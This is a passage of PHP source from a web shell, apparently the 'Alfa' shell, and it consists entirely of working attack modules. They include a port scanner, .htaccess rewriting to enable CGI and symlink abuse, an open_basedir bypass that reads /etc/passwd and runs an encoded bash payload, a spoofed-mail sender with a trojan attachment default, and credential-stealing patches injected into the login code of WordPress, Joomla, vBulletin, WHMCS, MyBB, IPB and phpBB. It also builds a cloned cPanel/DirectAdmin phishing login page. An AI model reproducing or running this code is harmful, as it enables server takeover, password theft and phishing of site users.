}else{__alert('<font color="red">tblservers is Empty...!</font>');};
}
echo "</div>";
alfafooter();
}
function alfaportscanner(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
<form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
<input type="hidden" name="y" value="phptools">
<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
<div class="txtfont">Port start: </div> <input id="text" size="5" type="text"  name="start" value="80"/>
<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
</form></center><br>';
$start = strip_tags($_POST['alfa2']);
$end = strip_tags($_POST['alfa3']);
$host = strip_tags($_POST['alfa4']);
if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){
echo __pre();
$packetContent = "GET / HTTP/1.1\r\n\r\n";
if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
for($i = $start; $i<=$end; $i++){
$sock = @fsockopen($host, $i, $errno, $errstr, 3);
if($sock){
stream_set_timeout($sock, 5);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="")$counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
echo "<p><textarea style='height:140px;width:50%;'>".$bin."</textarea></p></center>";
}
flush();
}
}
echo '</div>';
alfafooter();
}
function alfacgihtaccess($m,$d='', $symname=false){
$readme = "";
if($symname){$readme="\nReadmeName ".trim($symname);}
if($m=='cgi'){
$code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
}elseif($m=='sym'){
$code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
}elseif($m=='shtml'){
$code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
}
@__write_file($d . ".htaccess", $code);
}
function alfabasedir(){
alfahead();
echo '<div class=header>
<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
$passwd = _alfa_file('/etc/passwd');
if(is_array($passwd)){
$users = array();
$makepwd = alfaMakePwd();
$basedir = @ini_get('open_basedir');
$safe_mode = @ini_get('safe_mode');
if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){
$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);
$bash_users  = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);
$users = json_decode($bash_users, true);
$x=count($users);
if($x>=2){array_pop($users);--$x;}
}
if(!$basedir&&!$safe_mode){
$x=0;
foreach($passwd as $str){
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = str_replace("{user}", $username, $makepwd);
if(($username != '')){
if (@is_readable($dirz)){
array_push($users,$username);
$x++;
}}}
}
echo '<br><br>';
echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\n"."<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\n"."<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
foreach($users as $user){
if(empty($user))continue;
$path = str_replace("{user}", $user, $makepwd);
echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
}
}else{echo('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');}
echo '<br><br></b>';
echo '</div>';
alfafooter();
}
function alfamail(){
alfahead();
echo '<div class=header>';
AlfaNum(8,9,10);
echo '<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">';
$table = array(
'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60','placeholder' => true),
'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true),
'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'),
'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'),
'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60')
);
create_table($table);
echo '<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>';
if(isset($_POST['alfa4'])&&($_POST['alfa4'] == '>>')){
$mail_to = $_POST['alfa1'];
$mail_from = $_POST['alfa2'];
$mail_subject = $_POST['alfa3'];
$mail_content = $_POST['alfa5'];
$count_mail = (int)$_POST['alfa6'];
$mail_attach = $_POST['alfa7'];
if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){
if(!empty($mail_attach)&&@is_file($mail_attach)){
$file = $mail_attach;
$content = __read_file($file);
$content = chunk_split(__ZW5jb2Rlcg($content));
$uid = md5(uniqid(time()));
$filename = basename($file);
$headers  = "From: ".$mail_from." <".$mail_from.">\r\n";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
$headers .= "Reply-To: ".$mail_from."\r\n";
$headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'X-Mailer: php' . "\r\n";
$mail_content  = "--".$uid."\r\n";
$mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$mail_content .= $mail_content."\r\n\r\n";
$mail_content .= "--".$uid."\r\n";
$mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n";
$mail_content .= "Content-Transfer-Encoding: base64\r\n";
$mail_content .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
$mail_content .= $content."\r\n\r\n";
$mail_content .= "--".$uid."--";
}else{
$headers  = "From: " . $mail_from. " ( ".$mail_from." ) \r\n";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
$headers .= 'Reply-To: '.$mail_from.'' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'X-Mailer: php' . "\r\n";
}
if(empty($count_mail)||$count_mail<1)$count_mail=1;
if(!empty($mail_from)){echo __pre();
for($i=1;$i<=$count_mail;$i++){
if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");
}}else{__alert("Invalid Mail From !");}
}else{__alert("Invalid Mail To !");}
}
echo('</div>');
alfafooter();
}
function alfaziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell Compress-Archive -Path '".addslashes($dirzip)."' -DestinationPath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif(class_exists('ZipArchive')){
if(__alfaziper($dirzip, $zipfile)){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function __alfaziper($source,$destination){
	if(!extension_loaded('zip')||!file_exists($source)){
		return false;
	}
	$zip=new ZipArchive();
	if(!$zip->open($destination,ZIPARCHIVE::CREATE)){
		return false;
	}
	$source=str_replace('\\','/',realpath($source));
	if(is_dir($source)===true){
		$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);
		foreach($files as $file){
			$file=str_replace('\\','/',$file);
			if(in_array(substr($file,strrpos($file,'/')+1),array('.','..')))continue;
			$file=realpath($file);
			if(is_dir($file)===true){
				$zip->addEmptyDir(str_replace($source.'/','',$file.'/'));
			}else if(is_file($file)===true){
				$zip->addFromString(str_replace($source.'/','',$file),file_get_contents($file));
			}
		}
	}else if(is_file($source)===true){
		$zip->addFromString(basename($source),file_get_contents($source));
	}
	return $zip->close();
}
function alfadeziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if(@!is_dir($zipfile)){
	@mkdir($zipfile, 0777, true);
}
$finfo = "";
$file_type = "";
if(function_exists('finfo_open')){
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
$file_type = @finfo_file($finfo, $dirzip);
@finfo_close($finfo);
}else{
	if($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
		$file_type = alfaEx('file -b --mime-type ' . $dirzip);
	}
}
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell expand-archive -path '".addslashes($dirzip)."' -destinationpath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){
switch ($file_type) {
	case 'application/zip':
		alfaEx("cd '".addslashes($zipfile)."';unzip '".addslashes($dirzip)."'");
	break;
	case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
		if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){
			alfaEx("cd '".addslashes($zipfile)."';tar xzf '".addslashes($dirzip)."'");
		}else{
			alfaEx("cd '".addslashes($zipfile)."';gunzip '".addslashes($dirzip)."'");
		}
	break;
}
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></b></p></center>';
}elseif(class_exists('ZipArchive')){
	$itsok = false;
	if(emtpy($file_type)){
		$file_type = "application/zip";
	}
	switch ($file_type) {
		case 'application/zip':
			$zip = new ZipArchive;
			$res = $zip->open($dirzip);
			if ($res) {
				$zip->extractTo($zipfile);
				$zip->close();
				$itsok = true;
			}
		break;
		case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
			if(strstr(basename($dirzip), ".tar.gz")){
				$new_file = $zipfile .'/'. basename($dirzip);
				@copy($dirzip, $new_file);
				$new_tar = str_replace(".tar.gz", ".tar", $new_file);
				try {
					$p = new PharData($new_file);
					$p->decompress();
					$phar = new PharData($new_tar);
					$phar->extractTo($zipfile);
					@unlink($new_file);
					@unlink($new_tar);
					$itsok = true;
				} catch (Exception $e) {
				}
			}else{
				try {
					$phar = new PharData($dirzip);
					$phar->extractTo($zipfile);
					$itsok = true;
				} catch (Exception $e) {
				}
			}
		break;
	}
if($itsok){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function alfacmshijacker(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo '<div class=header><br>
<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">';
$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");
foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
echo("</select>");
echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="'.$GLOBALS['cwd'].'alfa.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>';
$cms = $_POST['alfa1'];
$saveto = $_POST['alfa2'];
$cmspath = $_POST['alfa4'];
if(!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>'){
echo __pre();
alfaHijackCms($cms,$cmspath,$saveto);
}
echo '</div>';
alfafooter();
}
function alfaHijackCms($cms,$cmspath,$saveto){
switch($cms){
case "vb":
hijackvBulletin($cmspath,$saveto);
break;
case "wp":
hijackwp($cmspath,$saveto);
break;
case "jom":
hijackJoomla($cmspath,$saveto);
break;
case "whmcs":
hijackWhmcs($cmspath,$saveto);
break;
case "mybb":
hijackMybb($cmspath,$saveto);
break;
case "ipb":
hijackIPB($cmspath,$saveto);
break;
case "phpbb":
hijackPHPBB($cmspath,$saveto);
break;
default:
echo "error!";
break;
}
}
function hijackvBulletin($path,$saveto){
$code='$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' .  $alfa_password." (" . $row["email"] . ")\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
$code=str_replace('{saveto_path}',$saveto,$code);
$login = $path."/login.php";
$class = $path."/includes/class_bootstrap.php";
$dologin = 'do_login_redirect();';
$evil_login = "\t".$code."\n\t".$dologin;
$evil_class = "true";
if((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){
$data_login = @file_get_contents($login);
$data_class = @file_get_contents($class);
if(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){
$login_replace = str_replace($dologin,$evil_login, $data_login);
$class_replace = str_replace($clearpw,$evil_class, $data_class);
@file_put_contents($login, $login_replace);
@file_put_contents($class, $class_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackwp($path,$saveto){
$code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$redirect_wp = '#if[ ]{0,}\([ ]{0,}![ ]{0,}is_wp_error\([ ]{0,}\$user[ ]{0,}\)[ ]{0,}&&[ ]{0,}![ ]{0,}\$reauth[ ]{0,}\)[ ]{0,}{#';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/wp-login.php";
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(@preg_match($redirect_wp, $data_login, $match)){
$evil_login = "\t".$match[0]."\n\t".$code;
$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackJoomla($path,$saveto){
$code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$comp=$path."/administrator/components/com_login/";
if(@is_file($comp."/login.php")){
$login = $comp."/login.php";
}elseif(@is_file($comp."/admin.login.php")){
$login = $comp."/admin.login.php";
}else{
$login = '';
}
if(@is_file($login) AND @is_writable($login) AND $login != ''){
$data_login = @file_get_contents($login);
$evil_login = $code."\n".$data_login;
@file_put_contents($login, $evil_login);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackWhmcs($path,$saveto){
$code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' .  $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$conf=$path."/configuration.php";
if(@is_file($conf) AND @is_writable($conf)){
$data_conf = @file_get_contents($conf);
if(!strstr($data_conf,'?>'))$code = '?>'.$code;
$evil_conf = $data_conf."\n".$code;
@file_put_contents($conf, $evil_conf);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackMybb($path,$saveto){
$code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
$find = '$loginhandler->complete_login();';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/member.php";
$evil_login = "\t".$code."\n\t".$find;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackIPB($path,$saveto){
$code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$find = 'unset( $member[\'plainPassword\'] );';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/admin/sources/handlers/han_login.php";
$evil_login = "\t".$find."\n\t".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackPHPBB($path,$saveto){
$code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$find = 'case \'login\':';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/ucp.php";
$evil_login = "\t".$find."\n\t".$code;
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(strstr($data_login, $find)){
$login_replace = str_replace($find,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackOutput($c=0,$p=''){echo($c==0?"<center><font color='green'>Success</font> --> path: $p</center>":'<center><font color="red">Error in inject code !</font></center>');}
function Alfa_StrSearcher($dir,$string,$ext,$e,$arr=array()){
if(@is_dir($dir)){
$files=@scandir($dir);
foreach($files as $key => $value){
$path=@realpath($dir. DIRECTORY_SEPARATOR .$value);
if(!@is_dir($path)){
if($ext!='*'){$f = basename($path);$f = explode('.',$f);$f = end($f);if($f!=$ext)continue;}
if($e=='str'){
$content = @file_get_contents($path);
if(strpos($content, $string) !== false){
echo str_replace('\\','/',$path) . "<br>";
}
}else{
if(strstr($value,$string)){
echo str_replace('\\','/',$path) . "<br>";
}
}
$results[] = $path;
}elseif($value != "." && $value != "..") {
Alfa_StrSearcher($path,$string,$ext,$e,$results);
$results[] = $path;
}}}}
function alfafakepage(){
	alfahead();
	AlfaNum(9,10);
	echo '<div class=header><br>
	<center><div class="txtfont_header">| Host Manager Fake page |</div></center><br><br><form onSubmit="g(\'fakepage\',null,this.clone_page.value,this.fake_root.value,\'>>\',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;" method=\'post\'>
	<div class="txtfont" style="position: relative;left: 50%;transform: translate(-50%);"><div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Panel: </span><select style="width:100px;" name="panel">';
	$cm_array = array("cpanel"=>"Cpanel","directadmin"=>"DirectAdmin");
	foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
	echo("</select></div>");
	echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
	<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="'.$_SERVER["DOCUMENT_ROOT"].'/fake_page_root/"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="'.$_SERVER["DOCUMENT_ROOT"].'/index.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: '.$_SERVER["DOCUMENT_ROOT"].'/wp-login.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="'.$GLOBALS['cwd'].'logs.txt"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
	<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
	$clone_page = $_POST['alfa1'];
	$fake_root = $_POST['alfa2'];
	$logto = $_POST['alfa4'];
	$panel = $_POST['alfa5'];
	$inject_to = $_POST['alfa6'];
	$bind_on = $_POST['alfa7'];
	$count = $_POST['alfa8'];
	if(!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>'){
		echo __pre();
		$target = $clone_page;
		$curl = new AlfaCURL();
		$source_page = $curl->Send($target);
		if(!empty($source_page)){
			$matched_form = "";
			if($panel == "cpanel"){
				if(preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)){
					$matched_form = $match[0];
				}
			}else{
				if(preg_match('#<form(.*?)>#', $source_page, $match)){
					$matched_form = $match[0];
				}
			}
			if(!empty($matched_form)){
				$fake = "";
				$pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
				$uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
				if($panel == "cpanel"){
					$port = "2083";
				}else{
					$target = str_replace(array("http://", "https://"), "", $target);
					$port = explode(":",$target);
					$port = $port[1];
				}
				if(substr($uri, 0, 1) == "/"){
					$uri = substr($uri, 1);
				}
				$uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
				$log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
				if($panel == "cpanel"){
					$form = '<form novalidate id="login_form" action="'.$log_url.'" method="post" target="_top" style="visibility:">';
				}else{
					$form = '<form action="'.$log_url.'" method="post">';
				}
				$fake = str_replace($matched_form, $form, $source_page);
				if(@!is_dir($fake_root)){
					@mkdir($fake_root, 0777, true);
				}

				$cookie_name = "alfa_fakepage_counter" . rand(9999,99999);

				$post_user = 'user';
				$post_pass = 'pass';
				$resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
				if($panel != "cpanel"){
					$post_user = 'username';
					$post_pass = 'password';
					$resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
				}

